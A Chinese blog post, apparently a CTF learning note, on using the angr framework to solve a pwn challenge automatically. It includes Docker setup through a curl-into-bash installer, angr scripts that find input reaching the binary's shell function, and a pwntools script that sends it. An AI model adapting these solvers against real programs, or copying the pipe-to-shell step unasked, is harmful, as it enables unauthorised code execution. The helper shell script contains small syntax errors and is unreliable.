zer0_1s

zer0_1s

探索不止

自動駭客

其實是看了 D0g3 實驗室的 i0gan 師傅介紹了下 auto pwn 的二進制挖掘的例子,很想看看到底什麼事物

1.angr python 框架#

What is angr?
angr 是一個用於分析二進制文件的 python 框架。它結合了靜態和動態符號("concolic")分析,使其適用於各種任務。

它由加州大學聖巴巴拉分校的計算機安全實驗室、亞利桑那州立大學的SEFCOM、他們的CTF團隊Shellphish、開源社區以及 @rhelmot 提供。

concolic 是單詞 concrete(具體)和 symbolic(符號)的混合體。concolic 測試是一種同時使用了符號執行(將程序變量當做符號化的變量)和具體執行(concrete execution,涉及到具體的輸入)的混合式軟件驗證技術。

2.angr 環境部署#

install docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

docker pull

docker pull angr/angr
./setup.sh -i -e angr

# hwo to use angr in docker 
docker run -itd --name angr angr/angr
docker exec -it angr bash
su angr # root用戶沒有angr的環境,需切換到angr用戶
#! /bin/sh
# Author: i0gan
# for starting docker angr
pwd=`pwd`
if [[ $1 < 2 ]];then
    echo "Usage angr script.py"
		exit
fi
script = $1
docker run -it \
					  -u angr \
						--rm \
						-v $(pwd)/${ctf_name}:/ctf/work \
						-w /ctf/work angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/ctf/work/$script" $2 $3
docker run -it \
	--rm \
	-v $(pwd)/${ctf_name}:/ctf/work \ 
	-p 23946:23946  \	
	--privileged  \
	--cap-add=SYS_PTRACE \
  	--security-opt seccomp=unconfined \
	pwndocker  

3.angr 初識#

angr 學習(一)

4.PWN 題自動化挖掘實例#

AUTO PWN|34 期

感謝成信 D0g3 師傅很快給了對應的題目;

root@DESKTOP-4VN4G0C:/Desktop/pwn# checksec pwn1
[*] '/Desktop/pwn/pwn1'
    Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    No canary found
      NX:       NX disabled
     PIE:      No PIE (0x8048000)

IDA 對應的反匯編的代碼,接下來分析其對應的邏輯:

image

int sub_804870E()
{
  int result; // eax
  char v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+1Ch] [ebp-Ch]

  result = atoi(&input);// '\n'則默認case 0 此外還有1,2,其他的分支
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        result = sub_80486F5(); // 反彈shell
      else
        result = puts("please log in");
      break;
    case 0:
      puts("input your passwd:");
      result = sub_804859B((int)&v1, 16); // 理論上是輸入密碼的,但是不是匹配無法知道密碼是多                                                少
      dword_804A06C = 1; // 反彈shell的關鍵變量
      break;
  }
  return result;
}

D0g3 的師傅給出的方法就是使用 angr 框架來達到跳轉到 shell 函數的目的,只要可以跳轉到紅色的即可

image

target_addr = 0x08048783

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./pwn1')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x08048783) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/pwn1 1e40bd134aa7:/home
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/script.py 1e40bd134aa7:/home

image


from pwn import *
import os
from binascii import a2b_hex

io = process('./pwn1')
print('Solving...')
payload = a2b_hex('310a320a')
io.send(payload)
print('Get shell')
io.sendline(b'whoami')
io.interactive()

image

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./find_flag')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x1229) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

這篇水文屬於測試 xLog 這個平台的用的,以後雖然不再打 CTF 二進制方向了,但是可能還會關注這個方向有意思的一些議題或者課題。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。